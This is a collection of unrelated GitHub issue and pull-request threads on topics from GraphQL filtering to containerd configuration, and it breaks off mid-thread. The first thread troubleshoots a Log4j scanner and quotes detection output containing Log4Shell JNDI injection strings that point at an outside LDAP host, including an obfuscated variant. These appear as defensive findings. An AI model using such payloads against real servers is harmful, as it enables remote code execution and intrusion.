EXPL_Log4j_CVE_2021_44228_Dec21_Soft C:\Users\slee\Desktop\vuln\log4j-test.log 0x44:$: ${jndi:ldaps:/ 0x7f:$: ${jndi:ldaps:/ EXPL_Log4j_CVE_2021_44228_Dec21_OBFUSC C:\Users\slee\Desktop\vuln\log4j-test.log 0x5:$x1: $%7Bjndi: EXPL_Log4j_CVE_2021_44228_Dec21_Hard C:\Users\slee\Desktop\vuln\log4j-test.log 0x44:$x1: ${jndi:ldaps://d03e2367.probe001.log4j.leakix.net:12042/b} 0x7f:$x1: ${jndi:ldaps://d03e2367.probe001.log4j.leakix.net:12042/b}
=====================================================
! Evidence of a Log4j vulnerability exploitation have been found on the system.
  These files are noted above and locally on the device in this location:
  C:\ProgramData\CentraStage\L4Jdetections.txt

Please let me know if you have any other questions. I hope this helps.

Sorry if it wasn't clear.  The program never created the L4j txt file, I did manually and it did rename it on next run.
The first times running the script it said the notice about the:
_Evidence of one or more Log4Shell attack attempts has been found on the system.
The location of the files demonstrating this are noted in the following log:
C:\ProgramData\CentraStage\L4Jdetections.txt_

But I didn't see the file, so I created the folder path and re-ran it.  It still did not create the L4J txt file.  I moved all the files into that folder and ran it (was running from desktop), still nothing.  Then I created the L4Jdetections.txt file manually, and on the next run it saw it and renamed it but did not re-create it.
So it looks like it can detect the file, just isn't creating it for some reason.
I have the same PS window open from when I last ran it before making this post.
>  PS C:\ProgramData\CentraStage> ls $env:programData\CentraStage
>
>     Directory: C:\ProgramData\CentraStage
>
> Mode                LastWriteTime         Length Name
> ----                -------------         ------ ----
> -a----       12/15/2021  11:10 AM              0<PHONE_NUMBER>-L4Jdetections.txt
> -a----       12/13/2021   2:56 PM           6325 expl_log4j_cve_2021_44228.yar
> -a----       12/15/2021  11:20 AM         386758 log.txt
> -a----       12/13/2021   2:44 PM           9426 scanner-8b.ps1
> -a----       12/13/2021   2:57 PM       25267128 VC_redist.x64.exe
> -a----       12/13/2021   2:50 PM           1493 yara-COPYING.txt
> -a----       12/15/2021  11:12 AM           7236 yara.yar
> -a----       12/13/2021   2:56 PM        1467904 yara32.exe
> -a----       12/13/2021   2:56 PM        2192896 yara64.exe

and
PS C:\ProgramData\CentraStage> cat L4JDetections.txt cat : Cannot find path 'C:\ProgramData\CentraStage\L4JDetections.txt' because it does not exist.
The process I'm running is just opening PS as admin and then running
cd C:\ProgramData\CentraStage
$env:usrScanScope = 1
$env:usrUpdateDefs = "True"
$env:usrMitigate = 'Y'
.\scanner-8b.ps1

Any ideas?

Hi;
No clue why it isn't making the L4JDetections.txt I'm afraid, it should be. I want to press, though, that this file's absence shouldn't be considered a loss of any crucial information. If you have detections, they will be listed in the StdOut in the exact same manner, just without the opener and closer. So, you haven't missed anything. The file paths should still be available to you.
Cheers – SL

Sounds good, and thanks.  Ill check through the log.txt file and see what its showing.

Hi, just to note, the Log.txt is just a list of all the files that were scanned. I am referring to the script's StdOut -- what appears in the console window when the script is run.

Got it.  I don't actually see anything in the console window when it finishes as far as detections, just a few that state "cant open file"
example:
error scanning C:\Windows\iis.log: could not open file
Maybe that's why its not creating it as there actually are none found?  The end notice just seemed to indicate there were and that's what was throwing me off.


Add scale tick values option to Stanford Diagrams

Add a new option so that to allow any tick values.
Example:

Options:
{
    stanford: {
      scaleFormat: d3.format(".3f"),
      scaleValues: (minValue, maxValue) => {
        const step = (maxValue - minValue) / 10;

        return d3.range(target.minEpochs, target.maxEpochs + step, step);
      }
    }
}

Codecov Report

Merging #2636 into master will decrease coverage by 0.01%.
The diff coverage is 50%.

@@            Coverage Diff             @@
##           master    #2636      +/-   ##
==========================================
- Coverage   80.15%   80.14%   -0.02%
==========================================
  Files          57       57
  Lines        4516     4518       +2
==========================================
+ Hits         3620     3621       +1
- Misses        896      897       +1

Impacted Files
Coverage Δ

src/config.js
95.83% <ø> (ø)
:arrow_up:

src/colorscale.js
82.05% <50%> (-1.74%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c361534...4d13496. Read the comment docs.

Codecov Report

Merging #2636 into master will decrease coverage by 0.01%.
The diff coverage is 50%.

@@            Coverage Diff             @@
##           master    #2636      +/-   ##
==========================================
- Coverage   80.15%   80.14%   -0.02%
==========================================
  Files          57       57
  Lines        4516     4518       +2
==========================================
+ Hits         3620     3621       +1
- Misses        896      897       +1

Impacted Files
Coverage Δ

src/config.js
95.83% <ø> (ø)
:arrow_up:

src/colorscale.js
82.05% <50%> (-1.74%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c361534...4d13496. Read the comment docs.


Add NuGet license information to .nuspec

Context: https://docs.microsoft.com/en-us/nuget/reference/nuspec#license
Context: https://docs.microsoft.com/en-us/dotnet/standard/library-guidance/nuget#important-nuget-package-metadata
Context: https://docs.clearlydefined.io/curation-guidelines
Certain internal Microsoft tools check NuGet license information by
using ClearlyDefined curated data to determine verified license
information for packages which don't "clearly define" their license.
The ILRepack and ILRepack.Lib NuGet packages do no specify any
license information within their .nuspec files.
Update build.groovy so that the generated .nuspec files contain
the ` element:
<license type="expression">Apache-2.0</license>

The value of the <license/> element must be an SPDX license
identifier.
This is slightly complicated by the fact that I can't find an easy
way to get com.ullink.nuget to emit XML attributes.
Fortunately, if it processes a closure, we can get access to the
underlying MarkupBuilder instance, which allows us to create an
XML element that contains both attributes and content.

Thanks for the clean PR.
Unfortunately I have moved on from .Net and can no longer build/release this project (not even sure the release script still works).
LMK if you feel like releasing a patch (don't know how much you need it), and I can DM you a temporary API key for it.

Hi @gluck thank you so much for everything you've done for .NET. This project is amazing and is still being super useful for the whole ecosystem.
Would you be interested in adding me as an owner to this project so I could continue maintaining it, merging PRs, making releases? Ideally also I'd need to be an owner on https://www.nuget.org/packages/ILRepack to be able to publish new versions.
If not, no problem, my current plan is to merge PRs into my fork and publish a NuGet with a different ID.
Thanks again!

Hi @KirillOsenkov ,
happy to do so, I've moved on from .Net, doesn't mean everybody should !
I've invited you to the GitHub repo, will do on nuget next.
@timotei is that alright with you being both collaborators on this repo ?

@gluck  Sure 👍 I wasn't able to be properly involved in the past year(s) :(, so having another collaborator is great
Welcome @KirillOsenkov 👋

Amazing! my nuget.org account is https://www.nuget.org/profiles/kirillosenkov


Retrained Model for PyThaiNLP 2.4

After #557 & #562, We needs to retrained all model in PyThaiNLP before we release PyThaiNLP 2.4 because dict & newmm has update.
List model to retrained

[ ] ThaiNER 1.4
[ ] CRFcut

May related to #437 as well, for thai2fit.

Done ThaiNER 1.5 https://github.com/PyThaiNLP/pythainlp/commit/6027175fab6ba5a822b79c37e0190f832a37bef3

CRFcut: In progressing.


Currently focused viewlet border goes away after dragging it

this is now preserved once dragging has started, but the mousedown event still triggers focus which is what removes this.


Add secrets encryption provider

LGTM. @deniseschannon I would have to regroup/squash the commits, so will have to open a new pr for it.


fix: in child_retire, use close not bdev_destroy

This caters for the simultaneous deletion of a bdev within
nexus code (due to io-error) with an attempt via the control plane,
and so avoid a race condition where the nexus attempts to
delete a bdev that no longer exists. child.close() includes
checks for the case where the bdev has already been deleted.

bors try

bors try


Update all non-breaking dependencies

This PR updates npm dependencies.
npm update --save
npm audit fix

Breaking changes of dependencies are avoided.

The full test suite
npm test
passes on this PR.

This PR would replace #3429


How to filter simple nested object

Which Category is your question related to?
Filtering nested GraphQL
Amplify CLI Version
4.21.1
What AWS Services are you utilizing?
GraqhQL
Provide additional details e.g. code snippets
I've been at this for hours now and wasn't able to figure it out.
I have a table in my GraphQL API:
type ad @model {
   id: ID!
   price: Int!
   description: String
   car: Car!
}

type Car{ //this type is used in many tables. This is just a type declared for reusable purposes, I don't want a table with this data
   brand: String!
   quantity: Int!
}

listAds is automatically generated by amplify and I can filter by description or price but NOT by car, or car.brand. I tried a lot of combinations and can't get it to work.
How can I achieve such a simple thing, without having to make a new resolver, which will be overwritten every time I do "amplify push"?

Please let us know how did it go. It's something I plan to use myself and I somehow expected to be available already.

Closing as a duplicate of #2311
In this thread there is a potential solution on how to address this:
https://github.com/aws-amplify/amplify-cli/issues/2311#issuecomment-532859188


included SQL Server Express edition version

Is VAMT still installing SQL Server 2012 Express edition if you select the option to let VAMT install SQL server Express Edition?
Seeing that SQL 2012 SP4 is out of mainstream support, and company policy dictates that I must not install software that is out of mainstream support, I wonder if its still SQL 2012 that is being installed as part of VAMT?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: db3d4459-a57d-a227-a9ee-47a9d25fd8e1
Version Independent ID: 43374c7a-f5d7-8168-6a0d-285f8fb29693
Content: Volume Activation Management Tool (VAMT) Technical Reference (Windows 10)
Content Source: windows/deployment/volume-activation/volume-activation-management-tool.md
Service: unspecified
GitHub Login: @jdeckerMS
Microsoft Alias: greglin

@SuHwak This is out of date, thanks for bringing it to our attention. The option to install SQL Server Express from the ADK was removed in Windows 10, version 1703. The topic will be updated today.


Rename lightning_utilities.dev to lightning_utilities.cli

Before submitting

[x] Was this discussed/approved via a Github issue? (no need for typos and docs improvements)
[x] Did you read the contributor guideline, Pull Request section?
[x] Did you make sure to update the docs?
[x] Did you write any new necessary tests?

What does this PR do?
Fixes #44.
PR review
Anyone in the community is free to review the PR once the tests have passed.
If we didn't discuss your PR in Github issues there's a high chance it will not be merged.
Did you have fun?
Make sure you had fun coding 🙃

@Borda Would you mind having a look when you get a chance?


[Storage] az storage account or-policy: Support storage account object replication policy

Description

Move from extension to main repo for GA release
Testing Guide

az storage account or-policy
History Notes

[Component Name 1] BREAKING CHANGE: az command a: Make some customer-facing breaking change.
[Component Name 2] az command b: Add some customer-facing feature.

This checklist is used to make sure that common guidelines for a pull request are followed.

[ ] The PR title and description has followed the guideline in Submitting Pull Requests.

[ ] I adhere to the Command Guidelines.

Storage


Response the speed of your DNS while using

Hello @ragibkl again,
Today I want to talk you about the response time to the website that I go with. When I use your DNS to access to any my livestream game websites. I received that your DNS load very slow to open my website. This is some my websites that I use to watch livestream games: https://nimo.tv ; https://nonolive.com and http://bigo.sg. That are some website that I usually use to watch livestream games. All of them its load so slow when using your adblock dns, sometimes they cannot load to website and notification the website not working. Can you review and solve the problem I have received !!!
https://drive.google.com/file/d/17jLXP0dlCf6QtuKaIMtvwWaqH5UkRVc_/view?usp=drivesdk
Thanks you !!!

Hello @ragibkl again,
Today I want to talk you about the response time to the website that I go with. When I use your DNS to access to any my livestream game websites. I received that your DNS load very slow to open my website. This is some my websites that I use to watch livestream games: https://nimo.tv ; https://nonolive.com and http://bigo.sg. That are some website that I usually use to watch livestream games. All of them its load so slow when using your adblock dns, sometimes they cannot load to website and notification the website not working. Can you review and solve the problem I have received !!!
https://drive.google.com/file/d/17jLXP0dlCf6QtuKaIMtvwWaqH5UkRVc_/view?usp=drivesdk
Thanks you !!!

I fix some error of my issue: bigo.tv not bigo.sg !! http://bigo.sg 👉 https://bigo.tv
thanks

Hi @phanluchoa ,
I tried opening all 3 websites. No issues. I saw the video you shared but I don't know which website or app you are opening in the video. Please let me know more detail (which app? website?), so I can try to test the same issue. Also seems like you are using mobile phone. Can you please test with laptop as well? Laptop using Chrome or Firefox can give more details.
I tried checking their dns and IP data:

nimo.tv

TTL: 60 seconds
Location: Ashburn, Virgina, USA

nonolive.com

TTL: 60 seconds
Location: Ashburn, Virgina, USA

bigo.tv

TTL: 5 minutes
Location: Diamond Bar, California, USA

For nimo.tv and nonolive.com, it seems that they use very short TTL configuration. Usually dns records are re-used on subsequent web page load. They are only refresh after 1 hour. But this config means that we need to refresh every 60 seconds. This might be reason why it is slow.
However, I think that the websites are slow because the servers are located far away. We are in south east asia, it might be slow to access websites in the USA.

@ragibkl Hello,
Can you review my issue #31 ??

@ragibkl Ok for now, the response about the speed load website of your DNS its ok for now. Because your DNS located in Asia not in USA so access to any website in usa its slow. Its Ok, you can close this comment and solve the issue in #31 !!! Thanks you

@phanluchoa , can you help me test my dns performance?
# Bancuh DNS 1 & 2
time nslookup bigo.tv <IP_ADDRESS> > null
time nslookup bigo.tv <IP_ADDRESS> > null

# Google DNS
time nslookup bigo.tv <IP_ADDRESS> > null

This only works on Linux and Mac though. Let me know the output.
Also, do you still experience the slowness? Or do you have any other clue of the slowness?
So far from my testing, the websites are working fine.

@ragibkl Your DNS work still slow for me but its ok because your dns located in asia

@ragibkl you can close the issue now


Performance Tweaks

Description of Enhancement

Use byte slices and utf8 instead of strings
Reduce extraneous allocations, a la #3

ciph and prf should have a signature closer to
func (f *Cipher) ciph(output, input []byte) error
to reduce escapes to the heap for the return value.

Majority of allocations are coming from the fact that everything in this library operates on strings. In theory, the operations can be changed to using utf8 package backed by byte slices.

#8 partially completes this, however I'm leaving this open as there are opportunities for more improvement with regards to strings and big integers.


ARROW-6353: [Python] Expose compression_level option to parquet.write_table

…_table
The patch exposes the option to change the default and/or per-column
compression level when creating a parquet file. No validation is done
on the input since the compression level is codec and version specific.

We use np.iinfo(np.intc).min as default value for compression_level to
denote that the compression level can be selected by Arrow. The reason
for this is that Arrow uses INT_MIN internally to represent the special
case of a compression level not being selected.

Is it not possible to use None for this in the Python API?

We use np.iinfo(np.intc).min as default value for compression_level to
denote that the compression level can be selected by Arrow. The reason
for this is that Arrow uses INT_MIN internally to represent the special
case of a compression level not being selected.

Is it not possible to use None for this in the Python API?

I can change it. I wanted to make it consistent with the c++ properties api.

@wesm @jorisvandenbossche Can you have a look?
I'm adding Wes since he is also familiar with the C++ change added some time ago.

Codecov Report

Merging #5446 into master will increase coverage by 4.87%.
The diff coverage is 96.77%.

@@             Coverage Diff             @@
##           master    #5446       +/-   ##
===========================================
+ Coverage   84.33%    89.2%    +4.87%
===========================================
  Files         160      766      +606
  Lines       10495   112011   +101516
  Branches     1498        0     -1498
===========================================
+ Hits         8851    99922    +91071
- Misses       1633    12089    +10456
+ Partials       11        0       -11

Impacted Files
Coverage Δ

python/pyarrow/parquet.py
92.36% <ø> (ø)

cpp/src/arrow/util/compression.h
100% <ø> (ø)

cpp/src/arrow/util/compression_test.cc
99.29% <100%> (ø)

cpp/src/arrow/util/compression_zlib.cc
88.06% <100%> (ø)

cpp/src/parquet/types.cc
93.97% <100%> (ø)

cpp/src/arrow/util/compression.cc
90% <100%> (ø)

python/pyarrow/_parquet.pyx
90.86% <83.33%> (ø)

python/pyarrow/tests/test_parquet.py
96.21% <93.33%> (ø)

js/src/util/fn.ts

js/src/builder/index.ts

... and 808 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fec7143...cf1f8f5. Read the comment docs.

@pitrou Can you have a look as well?


Incorrect font rendering?

I'm on Arch Linux using X11 and the alacritty-git package from the AUR.
After the most recent update, something weird started happening with my fonts. I didn't change anything in the config and they used to work correctly. I'm using the Tamzen font. I don't know if it's not finding the right font or what, but the character width is definitely wrong. Here's a screenshot, above is Termite and below is Alacritty.

Here's the output of alacritty -v:

and neofetch:

I'm not sure if this is a bug or just something I'm doing wrong, but any help would be appreciated.

How is the character width definitely wrong? It seems fine to me looking at the screenshots.
The only thing that changed with fonts recently is that automatic DPI got introduced on X11. You can read more about that in #1339.

Wrong compared to the size it used to be, I mean. I changed my DPI in X and it looks like it did before.


Fix Compiler Warnings

[ 87%] Building CXX object edm4hep/CMakeFiles/edm4hepDict.dir/edm4hep.cxx.o
In file included from /home/vavolkl/repo/EDM4hep/build/edm4hep/edm4hep.cxx:76:
/home/vavolkl/repo/EDM4hep/edm4hep/edm4hep/ObjectID.h: In constructor ‘edm4hep::ObjectID::ObjectID(const podio::ObjectID&)’:
/home/vavolkl/repo/EDM4hep/edm4hep/edm4hep/ObjectID.h:12:7: warning: ‘edm4hep::ObjectID::index’ will be initialized after [-Wreorder]
   int index;
       ^~~~~
/home/vavolkl/repo/EDM4hep/edm4hep/edm4hep/ObjectID.h:11:7: warning:   ‘int edm4hep::ObjectID::collectionID’ [-Wreorder]
   int collectionID;
       ^~~~~~~~~~~~
/home/vavolkl/repo/EDM4hep/edm4hep/edm4hep/ObjectID.h:15:2: warning:   when initialized here [-Wreorder]
  ObjectID(const podio::ObjectID& id ): index(id.index), collectionID(id.collectionID) {}
  ^~~~~~~~

Should be fixed by https://github.com/AIDASoft/podio/pull/68

I pointed to the wrong PR before.

Fixed


flexStart is same as flexEnd

I noticed this while playing around with my live editor. Check this out: http://layout.jlongster.com/#node%2528%250A%2520%2520%257B%2520padding%253A%252050%252C%2520flexDirection%253A%2520%2527column%2527%2520%257D%252C%250A%2520%2520%2520node%2528%257B%2520padding%253A%252010%2520%257D%2529%252C%250A%2520%2520%2520node%2528%257B%2520padding%253A%252010%252C%2520alignSelf%253A%2520%2527flexStart%2527%2520%257D%2529%252C%250A%2520%2520%2520node%2528%257B%2520padding%253A%252010%252C%2520alignSelf%253A%2520%2527center%2527%2520%257D%2529%252C%250A%2520%2520%2520node%2528%257B%2520padding%253A%252010%252C%2520alignSelf%253A%2520%2527flexEnd%2527%2520%257D%2529%250A%2529
The elements with flexStart and flexEnd are the same. Shouldn't flexStart be all the way to the left, not the right?
Edit: if you want to see how I use the lib, see https://github.com/jlongster/live-css-layout/blob/master/static/js/render.js

It's flex-end not flexEnd :)
We have warnings for that in react-native


ci seems to fails consistently on PR branches

See https://github.com/hdl/conda-eda/runs/5078540007?check_suite_focus=true, it fails with the following message:
  Not on master branch, don't execute master-package.sh. Current branch: refs/pull/165/merge
  ERROR: some jobs failed
  Error: Process completed with exit code 1.

@PiotrZierhoffer confirmed that this is expected (if we don't bump the NUM_JOBS variable)


Rename .rgignore to .ignore so it works with other tools.

Ripgrep and tokei both support .ignore (and presumably other tools as well).

bors r+


Example 1

Example 1's description looks wrong, it got copy and pasted from example 2. Based on the description of the switch '-Identity' it should get a mobile device named "TonySmith".
Also, as '-Mailbox' is required are we allowed to search for a specific device name like that? Or would it require:
Get-MobileDevice -Mailbox "Redmond\TonySmith" -Identity "TonySmith"

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 675ea59e-0042-9e34-5ba7-0dfbee208dc8
Version Independent ID: 62c903ea-94ae-8aa6-59ca-9adc1540c3d7
Content: Get-MobileDevice (exchange)
Content Source: exchange/exchange-ps/exchange/devices/Get-MobileDevice.md
Service: exchange-powershell
GitHub Login: @chrisda
Microsoft Alias: chrisda

@BrianJE it appears the intent of Example 1 and Example 2 were to simply illustrate using different Mailbox identity values. I found that rather lame, so I replaced it with better examples.
Regarding Mailbox vs. Identity, according to the parameter sets (syntax blocks), you can't use Mailbox and Identity in the same command, and Identity is optional (you can run Get-MobileDevice by itself to get a big list). In other words, Mailbox is required only in Set2.

Mailbox requires a unique mailbox identifier (Name, GUI, DN, etc.).

Identity is of type MobileDeviceIdParameter, which (according do the description) is either a GUID value, the Name value (iPhone§<biglongnumber> or iPad§Appl<bignumber>) or Identity value \ExchangeActiveSyncDevices\<Name> where <Name> is like iPhone§<biglongnumber> or iPad§Appl<bignumber>.

Can this be corrected... not sure how this issue was closed when the Example was not updated? Example 1 is still incorrect as it attempts to find a mobile device ID named "TonySmith" and not the devices for the "tonySmith" mailbox (which would be -mailbox "TonySmith")
cmd should be: Get-MobileDevice -Mailbox "TonySmith"

@andypituch, I fixed it. Changes are winging their way live now.

Thank you! Looks good :)


Miscellaneous fixes

In the absence of better tests, nothing like rerunning the notebooks to catch a couple of bugs! I also added some functions that make certain common operations easier.

Sorry about the coverage, but I'm merging this


Needs updating to support Form Recognizer Studio

the new Form Recognizer Studio page links to this documentation - but the documentation is still referencing the old FOTT site
Should be updated w/ instructions for use with https://formrecognizer.appliedai.azure.com/

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e4bb3563-6461-c0af-5306-fc60da33b808
Version Independent ID: 0331b140-a0d9-ca77-4450-d85fd7d39754
Content: Quickstart: Label forms, train a model, and analyze forms using the Sample Labeling tool - Form Recognizer - Azure Applied AI Services
Content Source: articles/applied-ai-services/form-recognizer/quickstarts/try-sample-label-tool.md
Service: applied-ai-services
Sub-service: forms-recognizer
GitHub Login: @laujan
Microsoft Alias: lajanuar

@margelef we'll review your feedback and get back to you shortly. Thanks!

Hi @margelef,
Thank you for your feedback. The v3.0 version of Form Recognizer, which supports Form Recognizer Studio, is still in public preview. The Form Recognizer v2.1 version, which supports the Sample Labeling Tool, is the current GA version. We will update the documentation once the v3.0 version is GA.
Thank you again! 🙂
cc: @GiftA-MSFT


ML 8.15 : Shear, Scale and Reflect Images (A)

Description
📌  Issues for Week 8
Welcome to 'ML' Team, good to see you here
:arrow_forward: This issue will helps readers in acquiring all the knowledge that one needs to know about ----
Shear, Scale and Reflect Images
:red_circle: To get assigned to this issue, add your Batch Numbers mentioned in the spreadsheet of "Machine Learning", the approach one would follow and choice you prefer (Documentation, Audio, Video). You can go with all three or any number of options you're interested to work on.
✔ Domain : Machine Learning
:red_circle::yellow_circle: Points to Note :

The issues will be assigned on a first come first serve basis, 1 Issue == 1 PR.

"Issue Title" and "PR Title should be the same. Include issue number along with it.

Changes should be made inside the `Machine Learning/Machine_Learning/ML_for_Sequential_Data_&_Visual Data' Branch.

Follow Contributing Guidelines & Code of Conduct before start Contributing.

This issue is only for 'GWOC' contributors of 'Machine Learning' domain.

:white_check_mark: To be Mentioned while taking the issue :

Full name
Batch Number
GitHub Profile Link
Which type of Contribution you want to make :

[ ] Audio

Happy Contributing 🚀
All the best. Enjoy your open source journey ahead. 😎
Domain
Machine Learning
Type of Contribution
Audio
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

I would like to work on this issue
Name- Nayanika Mishra
Batch Number- 3
GitHub Profile Link- https://github.com/Nay907
Type of Contribution: Audio

@Nay907 1 issue at a time

I would like to contribute to this issue. @raina-akshay
Name: Riya Srisailam Sailesh
Batch: 4
Profile link: https://github.com/riyasai22
Contribution type: audio

1 issue at a time @riyasai22 👀

sorry about that! I submitted my pr for the previous issue... thats whay i was hoping to contribute to this issue if possible.


JAMES-1635 Increase embedded Cassandra startup timeout

Increase embedded Cassandra startup timeout to the value configured in CassandraCluster used for unit tests.
This will avoid tests to fail on less effective computers.

:+1:

Committed


wrappers: add our lib to the host's _module.args

Make our custom "helpers" lib available to host modules as _module.args.nixvimLib, as an alternative to accessing via config.lib.
We didn't do this before because helpers was too generic of a name, but nixvimLib should be ok.
e.g:
{ lib, nixvimLib, ... }:
{
  programs.nixvim.someOption = nixvimLib.mkRaw "print('Hi')";
}

Should we consider also making the alias available to nixvim modules? Can always be done later.

Another approach here would be to assign _module.args.nixvimLib = config.lib.nixvim.extendedLib, allowing end-users to use nixvimLib as a lib alternative in their modules:
{ nixvimLib, ... }:
let
  lib = nixvimLib;
in
{
  programs.nixvim = {
    enable = true;
    foo.bar = lib.nixvim.mkRaw "print('Hello, world!')";
  };
}

I think we should deprecate helpers in the same PR where we introduce the nixvimLib, as I think it's a much better name!

I think we should deprecate helpers in the same PR where we introduce the nixvimLib, as I think it's a much better name!

I don't think we're ready to deprecate helpers, because that requires a treewide migration to ensure we aren't triggering our own deprecation warnings...
Note also, that this nixvimLib is only made available to the host module args, not to nixvim modules. The host modules have never had access to the helpers arg, only to config.lib.nixvim and (historically) config.nixvim.helpers.

Also, I forgot to update the PR description, but I ended up implementing my suggestion from https://github.com/nix-community/nixvim/pull/1966#issuecomment-2265542120.
I'll update the docs to reflect the subtle difference when I rebase.

@khaneliman @traxys I've rebased and updated the changes to the user-guide.


UAVCAN doesn't start without SD card

The firmware update checker fails and exits the start process. I guess that could be disregarded?

Its needs to create create a file on the sdcard, IIRC.

Closing as not strictly being a bug, but maybe the error should happen in the routines where it actually needs the file system to write.


Failed build: codecov

GitHub Actions workflow codecov #715 failed.
Event: pull_request
Branch: merge
Commit: df6f0e66c2899b156c76c76ae7b39c7b4163fc7c
Created by jayqi/failed-build-issue-action

@h1alexbel thank you for reporting this. I'll assign someone to take care of it soon.

@l3r8yJ this is your task now, please go ahead. Deadline (when this ticket should be closed) is 2024-01-13T10:19:14.676931.
Estimation here is 60 minutes, that's how much you will be paid.
Remember, you don't have to solve everything in this ticket - you can solve it partially and leave todo markers in the code, which will become future tasks.
If you have any questions don't ask me, I'm not a technical person. Open new tickets instead.
If you don't have time or simply don't want to work on this, you can always resign.

this was a test

@l3r8yJ thank you for resolving this ticket. I've just added it to your active invoice. You can always check all your invoices and more on the Contributor Dashboard.


Include *.kt files in buildSrc in cache key

Description:
When using Gradle with the Kotlin DSL some people use Kotlin files like Versions.kt or Dependencies.kt in the buildSrc folder to define their dependency versions (see example here and general info about buildSrc here).
At the moment a change in these files would not be covered by the file hash in the cache key calculation, which means an updated dependency would be missed and so not been cached.
This PR adds the files buildSrc/**/*.kt to the cache key calculation (in addition to the existing **/*.gradle*, **/gradle-wrapper.properties)
Related issue:
None
Check list:

[x] Mark if documentation changes are required.
[x] Mark if tests were added or updated to cover the changes.

Link to test run containing these changes: https://github.com/schuenadel/setup-java/actions/runs/1692869040

Please, no.
Kotlin in buildSrc is used for much more than "versions", and using Versions.kt in buildSrc is an anti-pattern.
If you include *.kt, then you basically break cacheability for everybody 🤷

Hi @vlsi,

Kotlin in buildSrc is used for much more than "versions"

Yes, I was coming from my "personal Android bubble" where I see it mainly being used for dependencies and if for something else, then rather rarely touched and if so it maybe even rectify a cache miss. But I get your point that this may be different for other, maybe more infrastructure related, projects where the refresh would not be desired.

and using Versions.kt in buildSrc is an anti-pattern.

I wasn't aware of that and also don't know why it is (I'd say invalidating the build cache on changes doesn't really count for clean builds on CI, if that's the reason...). But anyway many people use it and I think it would be nice to enable them to also benefit from a working cache mechanism.
I preferred to not hardcode the file names as that forces you to use these specific names in order to make the cache work, but maybe that's the better compromise to not have unwanted cache invalidations (as you pointed out).
So my suggestion would be to use buildSrc/**/Versions.kt and buildSrc/**/Dependencies.kt instead of buildSrc/**/*.kt

Hi @vlsi (and others),
I added my suggestion

So my suggestion would be to use buildSrc//Versions.kt and buildSrc//Dependencies.kt instead of buildSrc/**/*.kt

to restrict the scope of the cache key to the most used(?) files for dependency management. WDYT?

Could this be merged, or is something missing? I am lacking rights for merging.


getting status of runtime failed: rpc error: code = Unimplemented desc = unknown service runtime.v1alpha2.RuntimeService

ENV
Kubernetes:  v1.13.5,v1.15.6
cri-tools: v1.15.0 ,v.1.12
Problem
When I user crictl stats -p <POD_ID> ,it's tell me
FATA[0000] get container stats failed: rpc error: code = Unknown desc = not implemented

Same here:
containerd: 1.2.10
crictl: 1.18.0
crictl -D -r unix:///run/containerd/containerd.sock info
DEBU[0000] StatusRequest: &StatusRequest{Verbose:true,}
DEBU[0000] StatusResponse: nil
FATA[0000] getting status of runtime failed: rpc error: code = Unimplemented desc = unknown service runtime.v1alpha2.RuntimeService

after enabling cri plugin of containerd in /etc/containerd/config.toml:
# disabled_plugins = ["cri"]

everything works !

@majst01 so, this is just the configure issues from containerd?

@sober-wang which runtime are you using? is it the same issue?

@sober-wang which runtime are you using? is it the same issue?
Kubernetes: v1.13.5,v1.15.6
cri-tools: v1.15.0 ,v.1.12
docker: 18.06.1-ce
containerd github.com/containerd/containerd v1.1.2

my version is low. : (

@feiskyer yes only configuration of containerd, cri plugin must be enabled !

@majst01 Thanks.
/close

after commenting cri plugins , issue is now resolved.
Thanks


Set "Not selected"

Hello. How can I set "Not selected" row?
For example i want to allow for user "reset" the font setting. The row with empty value.

That's currently not possible. I implemented this component to be like the font pickers in word processors like Word or Pages, and since text cannot be displayed without a font, I think it makes sense to always display one in the picker.
What's your use case for this? Are you displaying the picker on a different page than the formatted text?

What's your use case for this? Are you displaying the picker on a different page than the formatted text?

For example: a web site has variable template system. Every user has own chosen template. Every template has different "default font". User in setting set "default font" or "not selected", he sees the default font (in every case different)

Couldn't you just pass a variable into the font picker constructor?

Couldn't you just pass a variable into the font picker constructor?
First of all, I have the custom Font xD It's not exists on the google list. But yeah I just use Open Sans "as standard" but on template load another. Everything via constructor, but i thought it kinda isn't Samurai Path.

I'm not sure if I understand. Support for custom fonts is tracked by #17. And with using a variable, I mean something like this:
const API_KEY = "ABC123";
const templateVars = getTemplateVars();

const fontPicker = new FontPicker(API_KEY, templateVars.defaultFont);

I don't understand why you're setting the font to Open Sans first?

I don't understand why you're setting the font to Open Sans first?

Because on every template the default font is different.
Many of them is out of Google Font (not in the list)

So implementing #17 would resolve this for you?


Memory leak issue

I've imported the files and it works just fine with the demo gifs provided but when I load in a 3.9mb 640x400 gif the gif lags and the memory of the device (running in simulator) reaches 223mb, this seems exceedingly high.
Is there a limit for the gif that I'm using that I should take in account?

Hey @ravifullestop, thanks for making an issue!
I didn't test it with gifs this big, but I will look into it as soon as I have more time. :+1:

+1

+1

+1

+1

+1 - just loaded a 2.8mb Gif, 2000x2000 and memory usage went to 1GB before crashing out

Sorry I'm only replying so late. :disappointed:
Since SwiftGif puts all frames in a UIAnimatedImage and even duplicates them to match various framerates, the memory leak is easily explained. It's just a lot of memory used.
We could render only a sequence of images at once (like lazy-load, plus drop earlier frames). This would add complexity to the library but help with this issue.
Another way is to throw an error if the gif is too big, but I don't really like that solution.
What do you guys think?

I'm still a little confused at how all the space is been used. Let's take an example:
800x800px GIF with 138 frames and transparency. The GIF is 2.8mb.
With SwiftGif, the memory increase from loading this Gif is ~290mb. So each of those 138 frames is taking 290/138 = 2.1Mb somehow.
Whereas if I export a frame of my Gif from Photoshop it's about 87kb (24x less).
Why does extracting each frame from a gif take so much more memory that just rendering each frame individually as a PNG and loading all of those? If we answer that it might help work out a solution?

From the README.md:
How does it work?
Easy, it does the following:

Find out the duration of every frame
Find the greatest common divisor
